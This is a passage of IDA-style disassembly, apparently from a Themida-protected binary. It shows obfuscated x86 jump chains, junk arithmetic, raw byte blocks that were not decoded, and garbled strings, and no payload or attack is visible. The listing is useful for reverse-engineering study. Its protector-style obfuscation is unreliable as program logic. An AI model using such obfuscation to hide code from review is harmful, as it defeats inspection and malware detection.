		sub	ecx, 2E4E4A38h
		sub	ecx, eax
		jmp	loc_5622C1
; ---------------------------------------------------------------------------
		dd 0C8BC888h, 4C48124h,	0E9000000h, 0FFFFDCA0h
; ---------------------------------------------------------------------------

loc_5630A4:				; CODE XREF: Themida_:00561D63j
		push	0
		add	dword ptr [esp], 79612D56h
		sub	[esp], esi
		sub	dword ptr [esp], 79612D56h
		pop	esi
		xor	esi, 0F43DD3FDh
		push	edi
		mov	edi, 713F7E13h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		shl	esi, 8
		push	edi
		push	ecx
		mov	ecx, 0F88AAD00h
		jmp	loc_56970A
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0EB19E924h, 0E589FFFFh, 4C581h, 0ED830000h, 242C8704h
		dd 242C895Ch, 3EBBE9h, 74F38000h, 0D5F6EB86h, 5066EB86h
		dd 2E7FE953h, 0C3800000h, 0E9EB282Bh, 3B5Eh, 0E9243431h
		dd 0B07Dh, 0B0E9F029h, 89000057h, 20E9242Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56312F:				; CODE XREF: Themida_:0056AF7Ej
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [ebx]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56DD19
; ---------------------------------------------------------------------------
aY3Scp		db 'Y3,$ИГ╞',0
		align 2

loc_56314A:				; CODE XREF: Themida_:00565110j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56E7BF
; ---------------------------------------------------------------------------

loc_563158:				; CODE XREF: Themida_:0056B40Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_568C33
; ---------------------------------------------------------------------------
		db 0B9h
		dd 32B666CCh, 0E981E9D1h, 0CA025F05h, 0FFB4AEE9h, 240489FFh
		dd 167145B8h, 10310D78h, 0D8F76116h, 242DD0F7h,	0C1170273h
		dd 0BF5706E0h, 0ACADFB3Dh, 72E9F831h, 31FFFFB8h, 0FA295EF7h
		dd 81243C8Bh, 4C4h, 0B8505200h,	589769BEh, 59E6D1BAh, 0E9C201C9h
		dd 0FFFFD9C6h, 4260BB53h, 0DD313647h, 4EC835Bh,	0B9240C89h
		dd 69B24264h, 0E1C1D9F7h, 6EC18108h, 0F7E745A3h, 0E98141D1h
		dd 0EECCA666h, 3B13C581h, 0CD01580Eh, 3B13ED81h, 5259580Eh
		dd 0D089EA89h, 0D0F75D5Ah, 4FE7BD55h, 0BD684B62h, 0E9000021h
		dd 0FFFFB600h, 50240C8Bh, 0B951E089h, 4, 0E959C801h, 2323h
; ---------------------------------------------------------------------------

loc_563220:				; CODE XREF: Themida_:00570965j
		pop	esp

loc_563221:				; CODE XREF: Themida_:00560697j
		push	4EF5h
		mov	[esp], esi
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56BD2F
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0C0830000h, 74FF5002h, 48B0424h, 4C48324h, 5C24048Fh
		dd 1E6CE9h
		db 0
; ---------------------------------------------------------------------------

loc_563251:				; CODE XREF: Themida_:0056C8DCj
		pop	ebx

loc_563252:				; CODE XREF: Themida_:0056A013j
		push	4E5Eh
		jmp	loc_564A69
; ---------------------------------------------------------------------------
		dd 4A46C2B8h, 3EA8118h,	292E206Ch, 3C281C2h, 582E206Ch
		dd 11E9EA01h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563277:				; CODE XREF: Themida_:00569B82j
		pop	esp
		add	esp, 4
		jmp	loc_5659A5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 3EC38000h, 2CAEE9h
		db 0
; ---------------------------------------------------------------------------

loc_563291:				; CODE XREF: Themida_:0056AEE9j
		add	esp, 4
		xor	edx, edx
		push	ebx
		add	dword ptr [esp], 32065194h
		push	dword ptr [esp]
		jmp	loc_5632AC
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0D6FFh
; ---------------------------------------------------------------------------

loc_5632AC:				; CODE XREF: Themida_:005632A1j
		push	dword ptr [esp]
		pop	eax
		push	31E5h
		mov	[esp], edx
		jmp	loc_5692A1
; ---------------------------------------------------------------------------
		db 58h,	68h, 4
		dd 89000071h, 92E9240Ch, 68FFFFC4h, 75CDh, 0BF243C89h
		dd 4, 3C8BFB01h, 4C48124h, 33000000h, 1C31241Ch, 241C3324h
		dd 8B24248Bh, 5E682404h, 0E9000051h, 0F399h, 8E2D1405h
		dd 2DC80110h, 108E2D14h, 54EE8159h, 2910FF58h, 54C681C6h
		dd 5810FF58h, 24B068h, 2100E900h, 68660000h, 89666543h
		dd 0F66240Ch, 4FE9C8B6h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563333:				; CODE XREF: Themida_:005603C9j
		mov	[esp], edi
		mov	edi, 228A7F2Bh
		push	1FEB4B47h
		jmp	loc_569435
; ---------------------------------------------------------------------------

loc_563345:				; CODE XREF: Themida_:00566200j
		mov	esi, 629510E7h
		push	edi
		mov	edi, 520F4E77h
		jmp	loc_560A0B
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 5Ch
		dd 125023Eh, 5CC581D5h,	8B25023Eh, 0C4832414h, 7EDC104h
		dd 4A93ED81h, 6DE9E1BAh, 300000CCh, 0A56EE9F8h,	0C381FFFFh
		dd 4, 5C241C87h, 0E904EC83h, 0FFFFB722h
; ---------------------------------------------------------------------------

loc_563390:				; CODE XREF: Themida_:005629A9j
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_569176
; ---------------------------------------------------------------------------

loc_56339D:				; CODE XREF: Themida_:00561802j
		sub	ebx, 495D6B9Eh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 23h
		dd 0EB80F300h, 0A1E95A23h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5633BF:				; CODE XREF: Themida_:0056016Dj
		pop	esi
		push	ebp
		jmp	loc_55F83D
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 5B685500h, 8900005Eh, 4832424h, 0DBE90424h, 81000055h
		dd 4704246Ch, 5D1F7B32h, 4C18159h, 50000000h, 0FFB590E9h
		dd 8BEF88FFh, 0C481240Ch, 4, 0F67CB551h, 8ACCE9D5h, 0E0C10000h
		dd 0C528E904h, 0EB810000h, 670E7373h, 8107EBC1h, 0E96401CBh
		dd 0B8FE92Ch, 0EF830000h, 243C8704h, 8C36E9h
		db 0
; ---------------------------------------------------------------------------

loc_563431:				; CODE XREF: Themida_:0056FB24j
		and	ebx, 5DBB7A5Ch
		shr	ebx, 4
		jmp	loc_55F29D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 2C781h, 3C870000h, 0ACE95C24h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563457:				; CODE XREF: Themida_:0055FF1Aj
		shl	ecx, 1
		inc	ecx
		and	ecx, 27F67D33h
		push	ebp
		mov	ebp, 0E0B81B00h
		add	ecx, ebp
		pop	ebp
		sub	ebx, ecx
		jmp	loc_56E1FB
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	8422E95Bh, 1C8B0000h, 4C48124h
		dd 0C0000000h, 9BE903E0h, 6600002Dh, 5324048Bh,	0FFA45FE9h
		dd 2474FFFFh, 48F5B04h,	0C895C24h, 0F2FCE924h, 0EA88FFFFh
		dd 595AD788h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563A55
; ---------------------------------------------------------------------------
		dd 0C159CF29h, 0F74F02EFh, 0D629E9DFh, 8F580000h, 248B2404h
		dd 0B754E924h, 3159FFFFh, 0E930FFC3h, 0FFFFA391h
; ---------------------------------------------------------------------------

loc_5634DC:				; CODE XREF: Themida_:005699FEj
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_571FDE
; ---------------------------------------------------------------------------
		db 54h,	59h, 52h
		dd 4BAh, 0C19FE900h, 0C3BD0000h, 162625Eh, 2434FFE9h, 5B2FE95Dh
		dd 81520000h, 2EE42404h, 815E1688h, 882EE4EEh, 0DEF75A16h
		dd 0DBD1EE81h, 0F701A0F9h, 0FFFF1AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563525:				; CODE XREF: Themida_:005625CBj
		pop	ebp
		sub	ebx, 749A13B5h
		add	ebx, eax
		push	esi
		jmp	loc_56A090
; ---------------------------------------------------------------------------

loc_563534:				; CODE XREF: Themida_:0057261Dj
		xor	ebp, [esp]
		jmp	loc_561A83
; ---------------------------------------------------------------------------
		dd 0BA241489h, 36331CA9h, 14E5C281h, 0D0010635h, 99BA525Ah
		dd 29444273h, 51525AD0h, 984CEA68h, 2434FF71h, 0D436E9h
		db 0
; ---------------------------------------------------------------------------

loc_563565:				; CODE XREF: Themida_:005713E7j
		mov	ebp, esp
		jmp	loc_560ACD
; ---------------------------------------------------------------------------
aVsnb		db 'VИ█│',0
		align 2
		dw 5854h
		dd 405h, 42D00h, 0BAE90000h, 66000083h,	56240C8Bh, 8904EC83h
		dd 42E92424h, 8FFFFFBCh, 248B2404h, 0CFF6624h, 0CAE99C24h
		dd 51FFFFA2h, 1DDBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5635A9:				; CODE XREF: Themida_:0056841Cj
		add	ecx, eax
		jmp	loc_564D3D
; ---------------------------------------------------------------------------
		dd 0C781F701h, 9717AB3h, 4C7815Eh, 68000000h, 22DBh, 89243C89h
		dd 0DAB951E7h, 8169371Fh, 371FD6E9h, 59CF0169h,	8704EF83h
		dd 248B243Ch, 243C8924h, 42474FFh, 9AFE9h, 5DEF2900h, 243C875Ah
		dd 5E54565Ch, 4C681h, 0EE810000h, 4, 8B243487h,	1C892424h
		dd 2FE95424h, 8300006Eh, 0B3E904ECh, 310000A6h,	4332404h
		dd 24248B24h, 9C240CD2h, 0FFA240E9h, 6E37B8FFh,	39BE2D7Bh
		dd 292D7B6Eh, 0C38158C6h, 0DDC1FD5h, 525AEB81h,	0F30153D3h
		dd 31FAE9h, 5EF03100h, 52D7E948h, 53560000h, 381B5CBBh
		dd 6ABBBE6Fh, 0DE29EB53h, 2202E9h
		db 0
; ---------------------------------------------------------------------------

loc_563669:				; CODE XREF: Themida_:00567D27j
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55F332
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 1EC86824h, 0C890000h, 62E95424h, 31000018h, 26C7E9C5h
		dd 3C890000h, 306BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563696:				; CODE XREF: Themida_:00566842j
		pop	ebx
		mov	[edi+24h], ecx
		pop	ecx
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		jmp	loc_565CE9
; ---------------------------------------------------------------------------
		db 81h
		dd 60067FF5h, 0E64FE968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5636B2:				; CODE XREF: Themida_:0055FF54j
		xor	esi, edi
		pop	edi
		push	ebx
		push	eax
		jmp	loc_561D35
; ---------------------------------------------------------------------------
		dd 0A2E9D501h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5636C3:				; CODE XREF: Themida_:00561B97j
		mov	edi, 58B34111h
		mov	ecx, 52255293h
		sub	ecx, edi
		pop	edi
		add	ecx, edi
		pop	edi
		xor	ebp, ecx
		jmp	loc_56DF4E
; ---------------------------------------------------------------------------
		dw 5A5Dh
		dd 0FFD518E9h, 4C9768FFh, 1C890000h, 81E38924h,	4C3h, 4C38100h
		dd 87000000h, 248B241Ch, 0A16BE924h, 0FB01FFFFh, 5BD9015Fh
		dd 0E9240C87h, 0FFFFA5BEh, 0E9242C89h, 0FFFFF149h
; ---------------------------------------------------------------------------

loc_563718:				; CODE XREF: Themida_:0056F5DAj
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	27ADh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+24h], edx
		push	dword ptr [esp]
		jmp	loc_5658B9
; ---------------------------------------------------------------------------
		dd 0E95BDF01h, 0FFFFEA7Bh, 8F5C680h, 0C3805AF3h, 5BD828C7h
		dd 9329E9h, 348B5400h, 4C48324h, 4C681h, 0E9500000h, 0C49h
		dd 0FF2434FFh, 48B2434h, 4C48124h, 81000000h, 4ECh, 243C8900h
		dd 6E7768h, 0E4F3E900h,	0E9580000h, 0FFFFE8E6h,	0DBF66AB3h
		dd 8016CB80h, 0B05082E3h, 8D02CADh, 0F1E958C3h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5637BF:				; CODE XREF: Themida_:0056C3D8j
		add	ebx, 2ED74D34h
		add	ebx, 56CD5670h
		add	ebx, ecx
		push	edi
		mov	edi, 17E65605h
		not	edi
		xor	edi, 0BED4FF8Ah
		jmp	loc_570121
; ---------------------------------------------------------------------------
		dd 222DF829h, 5F301944h, 0F7E9C301h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5637EF:				; CODE XREF: Themida_:00568BACj
		push	6AAB263Bh
		jmp	loc_55DA9D
; ---------------------------------------------------------------------------
aASz		db '╣;─м!И╖<',0
		dw 8300h
		dd 2C8904ECh, 467BD24h,	81555073h, 3223242Ch, 558701Bh
		dd 701B3223h, 5D2434FFh, 2D04C483h, 1C422C1Dh, 18EB0535h
		dd 0DC38123h, 81002E7Eh, 520FECEBh, 9524E903h, 0D8290000h
		dd 4EC81h, 0C890000h, 749CB924h, 0C8296A84h, 81240C8Bh
		dd 4C4h, 0D732E900h, 8B66FFFFh,	78E9240Ch
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563867:				; CODE XREF: Themida_:0056EAB7j
		sub	ebx, 1
		dec	ebx
		add	ebx, 0C099E857h
		jmp	loc_56B6E4
; ---------------------------------------------------------------------------

loc_563876:				; CODE XREF: Themida_:00571282j
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	126Dh
		mov	[esp], esp
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	dword ptr [esp+4], 419B48FEh
		jmp	loc_562490
; ---------------------------------------------------------------------------

loc_56389A:				; CODE XREF: Themida_:00565FCDj
		sub	edi, 0CA10A78h
		inc	edi
		sub	edi, 0DDC29BA1h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_56A91A
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 0FFFFFFEEh, 1EE81FFh, 0E9000000h, 8017h
; ---------------------------------------------------------------------------

loc_5638D4:				; CODE XREF: Themida_:0055F703j
		mov	bh, 52h
		sub	esp, 4
		jmp	loc_56FFB9
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2, 6DD5E9h, 0BAC78100h, 0E9CA7C9Ah, 0AB19h
; ---------------------------------------------------------------------------

loc_5638F4:				; CODE XREF: Themida_:005702E4j
		add	ebx, esi
		push	ebp
		mov	ebp, 5B945FE6h
		shr	ebp, 5
		not	ebp
		not	ebp
		sub	ebp, 0CD0D95D2h
		jmp	loc_55E73C
; ---------------------------------------------------------------------------
		dw 505Bh
		dd 268h, 69E95800h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56391B:				; CODE XREF: Themida_:005606C0j
		add	edx, ebp
		pop	ebp
		or	edx, 3B357BB3h
		neg	edx
		sub	edx, 5255532Bh
		jmp	loc_561074
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF545358h, 525B2434h, 2EA4E9h, 17AD6800h, 3C890000h
		dd 573CBF24h, 0EC83686Bh, 0FDBAE904h, 8B66FFFFh, 63682404h
		dd 8900002Eh, 0FF54243Ch, 815F2434h, 4C4h, 4EC8300h, 53240C89h
		dd 0ED0CE9h, 0C368AD00h, 0E900002Fh, 56E8h, 68240489h
		dd 2629h, 0D375E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563992:				; CODE XREF: Themida_:00567FE0j
		push	edi
		mov	edi, 20000h
		mov	esi, edi
		jmp	loc_562B12
; ---------------------------------------------------------------------------
aBKoObqSj	db '│г╙O;O│О}S╕',0
		db 1
		dd 0C6015FFEh, 6DCB68h,	24048900h, 0F46E9h, 222D6800h
		dd 34FF4E65h, 2434FF24h, 0FFF9F9E9h, 3DEF81FFh,	0FF54F616h
		dd 815A2434h, 4C4h, 2BEA6800h, 1C890000h, 0BCF2E924h, 0C381FFFFh
		dd 4, 5B7EB951h, 0F9E93447h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5639FB:				; CODE XREF: Themida_:0055FD7Bj
		mov	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_55F4BD
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0F2h
		dd 0E9027C76h, 514Eh
; ---------------------------------------------------------------------------

loc_563A10:				; CODE XREF: Themida_:0055DF7Ej
		shr	eax, 2
		add	eax, 2A84196Bh
		jmp	loc_564B56
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 66h
		dd 0E96FB551h, 0C4F5h
; ---------------------------------------------------------------------------

loc_563A28:				; CODE XREF: Themida_:0056C550j
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	esi, 40305A13h
		jmp	loc_57028C
; ---------------------------------------------------------------------------
		db 58h
		dd 0E904EC83h, 0A9Fh
; ---------------------------------------------------------------------------

loc_563A44:				; CODE XREF: Themida_:00565327j
		push	652B1F26h
		pop	esi
		add	esi, 7369536Ch
		jmp	loc_569F5A
; ---------------------------------------------------------------------------

loc_563A55:				; CODE XREF: Themida_:005634B3j
		add	ebp, 4
		push	edx
		jmp	loc_55E751
; ---------------------------------------------------------------------------

loc_563A61:				; CODE XREF: Themida_:0056EC73j
		xor	ecx, [esp]
		jmp	loc_564ED6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C8BCE01h, 0E3895324h, 4C381h, 0C3810000h, 4, 9848E9h
		dd 908B900h, 0E1C1627Ah, 0A4F18106h, 0E9456526h, 0FFFFEAD8h
		dd 285C6BBBh, 5BDA0159h, 644FBF57h, 0E7C17131h,	45EF8105h
		dd 81FF5B28h, 77A1EEAh,	81FA0126h, 77A1EC2h, 0AAE95F26h
		dd 5FFFFF9Dh, 7443E9h
		db 0
; ---------------------------------------------------------------------------

loc_563AC9:				; CODE XREF: Themida_:00562678j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_570820
; ---------------------------------------------------------------------------
aPskq		db 'PИkq',0
		dw 8B00h
		dd 0C483243Ch, 2C68104h, 87000000h, 248B2434h, 0C8B6624h
		dd 0E7E95524h, 0B9FFFFF5h, 133B1517h, 5259CB89h, 63B6BF57h
		dd 0EE9079Dh, 81FFFFE8h, 0F5566CBh, 81DBF715h, 14D3F8C3h
		dd 6D4AE98Bh, 81590000h, 4C4h, 4C18100h, 50000000h, 4B8h
		dd 0B6C18100h, 1751F78h, 1079E9C1h, 0B7530000h,	0D40AE93Eh
		dd 52500000h, 79B486B6h, 687E9h, 58E12800h, 0BDAFE9h, 4C48300h
		dd 103EE9h
		db 0
; ---------------------------------------------------------------------------

loc_563B69:				; CODE XREF: Themida_:0056754Ej
		add	edx, 2993310Dh
		add	edx, ecx
		sub	edx, 2993310Dh
		sub	edx, 57412D0Eh
		add	edx, 3CF41F77h
		pop	ecx
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 4EC8355h,	21CE9h
		db 0
; ---------------------------------------------------------------------------

loc_563B99:				; CODE XREF: Themida_:0056A9F5j
		mov	edi, 59E70D59h
		or	edi, 2F971897h
		xor	edi, 7B806CFh
		jmp	loc_56D957
; ---------------------------------------------------------------------------
		db 5Fh
		dd 11CDE9h, 0E3E95400h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563BBB:				; CODE XREF: Themida_:005647F5j
		push	dword ptr [esp]
		pop	ecx
		push	33B4h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55E2AA
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 4
		dd 0FFFFC181h, 0DEE9FFFFh, 8100008Dh, 7F2812EAh, 0FAE9501Ah
		dd 810000B4h, 8579ACF7h, 7FE95A14h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563BFB:				; CODE XREF: Themida_:0055FA74j
		pop	ecx
		sub	edi, 0EBE52A2h
		add	edi, esi
		sub	esp, 4
		jmp	loc_5725A4
; ---------------------------------------------------------------------------
aZbsvul		db '╧ж=°Z│Иv·╚',0
		dw 0CA31h
		dd 0B90EE9h, 4C28100h, 87000000h, 815C2414h, 6A552CC3h
		dd 1C2E2DA7h, 0A9057213h, 296A6D11h, 11A92DD8h,	2E056A6Dh
		dd 5B72131Ch, 17CFE95Ah, 64680000h, 8900007Ah, 0CB9240Ch
		dd 1474D41h, 0E908244Ch, 0FFFFABF1h, 6658E388h,	30A7B252h
		dd 148B66D3h, 2C48324h,	0D4F6E386h, 0EC81E386h,	4, 0B1240C89h
		dd 0A460E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563C8A:				; CODE XREF: Themida_:00568752j
		add	ecx, 3E0D0588h
		push	ebx
		mov	ebx, 9080A29h
		sub	ecx, ebx
		pop	ebx
		and	ecx, 725D457Bh
		add	ecx, 0F198CD13h
		jmp	loc_565F4D
; ---------------------------------------------------------------------------
		dw 0C301h
aXsg		db 'XИё*',0
		align 2
		dw 0FF53h
		dd 8B042474h, 0C481241Ch, 4, 8B24048Fh,	8B662424h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		push	1E33h
		jmp	loc_568937
; ---------------------------------------------------------------------------

loc_563CDD:				; CODE XREF: Themida_:00560635j
		add	edx, eax
		sub	edx, 13E02C5Ch
		jmp	loc_5697E3
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 7DCEh
; ---------------------------------------------------------------------------

loc_563CF4:				; CODE XREF: Themida_:00566C16j
		mov	[esp], ebp
		mov	ebp, 25FB1D4Bh
		sub	eax, 43522FC0h
		add	eax, 63D67306h
		sub	eax, ebp
		sub	eax, 63D67306h
		add	eax, 43522FC0h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_568D13
; ---------------------------------------------------------------------------
aBCup		db '│фГ⌠╞',0
aUsbp		db 'UИ║P',0
		dw 8100h
		dd 4C4h, 542BE900h, 0E9540000h,	0A863h
; ---------------------------------------------------------------------------

loc_563D3C:				; CODE XREF: Themida_:0056431Fj
		and	ecx, 461208D2h
		and	ecx, 1EC842C0h
		shl	ecx, 3
		xor	ecx, 40860144h
		mov	esi, ecx
		pop	ecx
		jmp	loc_56BA0D
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 0E9242C33h, 8313h
; ---------------------------------------------------------------------------

loc_563D64:				; CODE XREF: Themida_:0055F0D0j
		pop	ecx
		pop	eax
		mov	edx, ecx
		pop	ecx
		jmp	loc_571FC4
; ---------------------------------------------------------------------------

loc_563D6E:				; CODE XREF: Themida_:00566428j
		add	edi, 4
		jmp	loc_562136
; ---------------------------------------------------------------------------
		db 66h,	51h, 88h
		dd 88D5F6FDh, 0E95966EFh, 761Fh, 575DE901h, 4A1FEABFh
		dd 0C156E97Ch, 815FFFFFh, 2EBh,	0B117E900h, 895CFFFFh
		dd 8FE9241Ch, 89FFFF9Fh, 58542404h, 83C3E9h, 24248900h
		dd 4240483h, 5D2434FFh,	4C481h,	0B9E90000h, 0BA000061h
		dd 4B8E5C09h, 55AD029h,	125759B6h, 40A96852h, 4890000h
		dd 13B95124h, 51138826h, 576DB1B9h, 81D9F73Fh, 6104CAF1h
		dd 5AC1817Bh, 0E979A428h, 56D3h, 405h, 4BF5700h, 29000000h
		dd 243C8BF8h, 3304C483h, 4312404h, 24043324h, 8908E95Ch
		dd 0E5880000h, 0FFB30AE9h, 432D5DFFh, 5F5B0701h, 5E2434FFh
		dd 8304C483h, 348904ECh, 5C42E924h, 0F7410000h,	0E9D9F7D1h
		dd 44h,	4C481h,	0E9590000h, 0FFFFB31Ah,	8B240433h, 4002424h
		dd 6E99C24h, 8BFFFF9Ah,	0C483243Ch, 75C2E904h, 81580000h
		dd 84584EEFh, 5FFB8922h, 0A78BE9h, 0ED815900h, 14BC474Fh
		dd 0E951C501h, 0FFFFE5E7h, 9101F181h, 0CB89F7ECh, 57240C8Bh
		dd 0EC815F54h, 4, 0E9241489h, 0AFC3h, 9368E389h, 89000007h
		dd 6EBE2434h, 815B933Ah, 6257F9CEh, 0FBEE8151h,	815BF37Fh
		dd 0D66E74EBh, 81F3015Ch, 0D66E74C3h, 24348B5Ch, 5004C483h
		dd 4BE56h, 0F0890000h, 0FF9F01E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563EE9:				; CODE XREF: Themida_:00567EEFj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_56AF83
; ---------------------------------------------------------------------------
aAaSW		db '─МяИъw',0
		align 2

loc_563EFE:				; CODE XREF: Themida_:0056770Aj
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 61682D6Fh
		inc	eax
		push	ebx
		mov	ebx, 61682D6Ch
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 566372DAh
		add	esi, eax
		jmp	loc_571CC4
; ---------------------------------------------------------------------------

loc_563F25:				; CODE XREF: Themida_:00560565j
		pop	edi
		jmp	loc_55EDA8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EDC102E5h, 0B1E95608h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563F37:				; CODE XREF: Themida_:0056F998j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 61784001h
		or	ecx, ebx
		pop	ebx
		push	esi
		push	eax
		mov	eax, 36770397h
		mov	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		push	edi
		jmp	loc_569A4B
; ---------------------------------------------------------------------------
aZ4S5c		db '┤4$И5≈',0
		align 10h
		dd 81E9D901h, 830000DDh, 0C48304C4h, 5BDE0104h,	3302C683h
		dd 34312434h, 0D7EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563F7E:				; CODE XREF: Themida_:005726DBj
		mov	eax, 37B854ABh
		jmp	loc_5669F0
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9D70100h, 0A99h, 0E9240C89h,	0FFFF98D1h, 24048F5Fh
		dd 0E924248Bh, 2835h, 8244481h,	3046650Ch, 33C7E9h, 0E8C38100h
		dd 0C1370407h, 0C38106E3h, 0FFA272C4h, 0E95BD901h, 4405h
		dd 8904EC83h, 0C4682404h, 0E900006Dh, 229Ch, 5C240C87h
		dd 0E9242C89h, 0BBE9h
; ---------------------------------------------------------------------------

loc_563FE8:				; CODE XREF: Themida_:0056C6ACj
		xchg	ebx, [esp]
		jmp	loc_569E6A
; ---------------------------------------------------------------------------

loc_563FF0:				; CODE XREF: Themida_:0056E303j
		push	142Ah
		jmp	loc_569159
; ---------------------------------------------------------------------------
		dw 8F5Dh
		dd 95C2404h, 0E99C2404h, 0FFFF9865h
; ---------------------------------------------------------------------------

loc_564008:				; CODE XREF: Themida_:0055DF76j
		push	63F7h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_569592
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 360E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564026:				; CODE XREF: Themida_:0056BB4Dj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		jmp	loc_55E24C
; ---------------------------------------------------------------------------
		db 31h
		dd 34FF240Ch, 0C4835B24h, 0AC8CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564052:				; CODE XREF: Themida_:005645D9j
		pop	esi
		or	eax, ebx
		jmp	loc_56645D
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 0AC1815Ah, 0F744BD22h, 3BB53D1h, 29B5AB7Fh, 0D1BCE9D9h
		dd 0CA010000h, 0F2815D59h, 0A5B681Eh, 9EDAEA81h, 0FF68D984h
		dd 89000050h, 0E9592414h, 0BCCFh, 42ACF581h, 0E8310E0Fh
		dd 2AE9815Dh, 0E958E604h, 0FFFFDC3Dh, 0A04B3CBEh, 0F59FE932h
		dd 7429FFFFh, 44810424h, 20340424h, 348B2FC6h, 4C48324h
		dd 2619E9h, 24148700h, 2434895Ch, 954EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5640D1:				; CODE XREF: Themida_:0056F572j
		pop	ecx
		add	ebx, 0C71644A7h
		sub	edx, ebx
		jmp	loc_571E78
; ---------------------------------------------------------------------------

loc_5640DF:				; CODE XREF: Themida_:00568CDDj
		shl	ebp, 6
		jmp	loc_5685DA
; ---------------------------------------------------------------------------
		db 0BBh
		dd 9601605h, 5897CB81h,	0E3C11E87h, 0E9D3F702h,	0FFFFE806h
		dd 0DA24BCBAh, 78E28102h, 5012742Bh, 0D35641B8h, 40D0F73Ch
